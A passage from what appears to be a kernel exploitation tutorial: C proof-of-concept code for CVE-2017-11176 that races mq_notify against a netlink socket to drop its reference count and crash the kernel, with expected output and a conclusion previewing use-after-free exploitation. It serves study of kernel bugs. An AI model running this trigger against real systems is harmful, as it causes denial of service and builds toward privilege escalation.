#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

#define NOTIFY_COOKIE_LEN (32)
#define SOL_NETLINK (270) // from [include/linux/socket.h]

// ----------------------------------------------------------------------------

// avoid library wrappers
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(sockfd, level, optname, optval, optlen) \
  syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)
#define _getsockopt(sockfd, level, optname, optval, optlen) \
  syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)
#define _dup(oldfd) syscall(__NR_dup, oldfd)
#define _close(fd) syscall(__NR_close, fd)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)
#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)

// ----------------------------------------------------------------------------

#define PRESS_KEY() \
  do { printf("[ ] press key to continue...\n"); getchar(); } while(0)

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

struct unblock_thread_arg
{
  int sock_fd;
  int unblock_fd;
  bool is_ready; // we can use pthread barrier instead
};

// ----------------------------------------------------------------------------

static void* unblock_thread(void *arg)
{
  struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
  int val = 3535; // need to be different than zero

  // notify the main thread that the unblock thread has been created. It *must*
  // directly call mq_notify().
  uta->is_ready = true;

  sleep(5); // gives some time for the main thread to block

  printf("[ ][unblock] closing %d fd\n", uta->sock_fd);
  _close(uta->sock_fd);

  printf("[ ][unblock] unblocking now\n");
  if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
    perror("[+] setsockopt");
  return NULL;
}

// ----------------------------------------------------------------------------

static int decrease_sock_refcounter(int sock_fd, int unblock_fd)
{
  pthread_t tid;
```

```c
struct sigevent sigev;
struct unblock_thread_arg uta;
char sival_buffer[NOTIFY_COOKIE_LEN];

// initialize the unblock thread arguments
uta.sock_fd = sock_fd;
uta.unblock_fd = unblock_fd;
uta.is_ready = false;

// initialize the sigevent structure
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;
sigev.sigev_signo = uta.sock_fd;

printf("[ ] creating unblock thread...\n");
if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
{
  perror("[-] pthread_create");
  goto fail;
}
while (uta.is_ready == false) // spinlock until thread is created
  ;
printf("[+] unblocking thread has been created!\n");

printf("[ ] get ready to block\n");
if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))
{
  perror("[-] mq_notify");
  goto fail;
}
printf("[+] mq_notify succeed\n");

  return 0;

fail:
  return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

/*
 * Creates a netlink socket and fills its receive buffer.
 *
 * Returns the socket file descriptor or -1 on error.
 */

static int prepare_blocking_socket(void)
{
  int send_fd;
  int recv_fd;
  char buf[1024*10];
  int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

  struct sockaddr_nl addr = {
    .nl_family = AF_NETLINK,
    .nl_pad = 0,
    .nl_pid = 118, // must different than zero
    .nl_groups = 0 // no groups
};

struct iovec iov = {
  .iov_base = buf,
  .iov_len = sizeof(buf)
};

struct msghdr mhdr = {
  .msg_name = &addr,
  .msg_namelen = sizeof(addr),
  .msg_iov = &iov,
  .msg_iovlen = 1,
  .msg_control = NULL,
  .msg_controllen = 0,
  .msg_flags = 0,
};

printf("[ ] preparing blocking netlink socket\n");

if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
    (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
{
  perror("socket");
  goto fail;
}
printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);
```

```
while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
{
  if (errno != EADDRINUSE)
  {
    perror("[-] bind");
    goto fail;
  }
  addr.nl_pid++;
}

printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);

if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
  perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
else
  printf("[+] receive buffer reduced\n");

printf("[ ] flooding socket\n");
while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)
  ;
if (errno != EAGAIN)
{
  perror("[-] sendmsg");
  goto fail;
}
printf("[+] flood completed\n");

_close(send_fd);

  printf("[+] blocking socket ready\n");
  return recv_fd;

fail:
  printf("[-] failed to prepare block socket\n");
  return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

int main(void)
{
  int sock_fd  = -1;
  int sock_fd2 = -1;
  int unblock_fd = 1;

  printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");

  if ((sock_fd = prepare_blocking_socket()) < 0)
    goto fail;
  printf("[+] netlink socket created = %d\n", sock_fd);

  if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))
  {
    perror("[-] dup");
    goto fail;
  }
  printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);


  // trigger the bug twice
  if (decrease_sock_refcounter(sock_fd, unblock_fd) ||
      decrease_sock_refcounter(sock_fd2, unblock_fd))
  {
    goto fail;
  }

  printf("[ ] ready to crash?\n");
  PRESS_KEY();

  // TODO: exploit

  return 0;

fail:
  printf("[-] exploit failed!\n");
  PRESS_KEY();
  return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================
```

The expected output is:

```
[ ] -={ CVE-2017-11176 Exploit }=-
[ ] preparing blocking netlink socket
[+] socket created (send_fd = 3, recv_fd = 4)
[+] netlink socket bound (nl_pid=118)
[+] receive buffer reduced
[ ] flooding socket
[+] flood completed
[+] blocking socket ready
[+] netlink socket created = 4
[+] netlink fd duplicated (unblock_fd=3, sock_fd2=5)
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 4 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 5 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] ready to crash?
[ ] press key to continue...

<<< KERNEL CRASH HERE >>>
```

From now, up until the exploit is complete (i.e. kernel repaired), the system will **constantly crash** at each run. This is annoying but you will get used to it. You might want to speed up your boot time by removing all unnecessary services (e.g. graphical stuff, etc.). Remind to re-enable them later so you can match your "real" target (they **do** actually have an impact on the kernel).

Conclusion

This article introduced the scheduler subsystem, task state and how to transition between running/waiting state using wait queues. Understanding it allowed us to wake up the main thread and win the race condition.

With the help of the close() and a trick with dup() syscall, we forced the second call to fget() to return NULL, required to trigger the bug. Finally, we studied various ways to enter the "retry path" inside netlink_attachskb(), hence making it return 1.

All of this gives us the proof-of-concept code (using userland code only) that reliably triggers the bug without using System Tap anymore and makes the kernel crash.

The next article will cover an important topic: use-after-free exploitation. It will explain the basics of the slab allocator, type confusion, reallocation and how to use it to gain an *arbitrary call primitive*. Some new tools will be exposed that help building and debugging the exploit. In the end, we will make the kernel panic when *we want to*.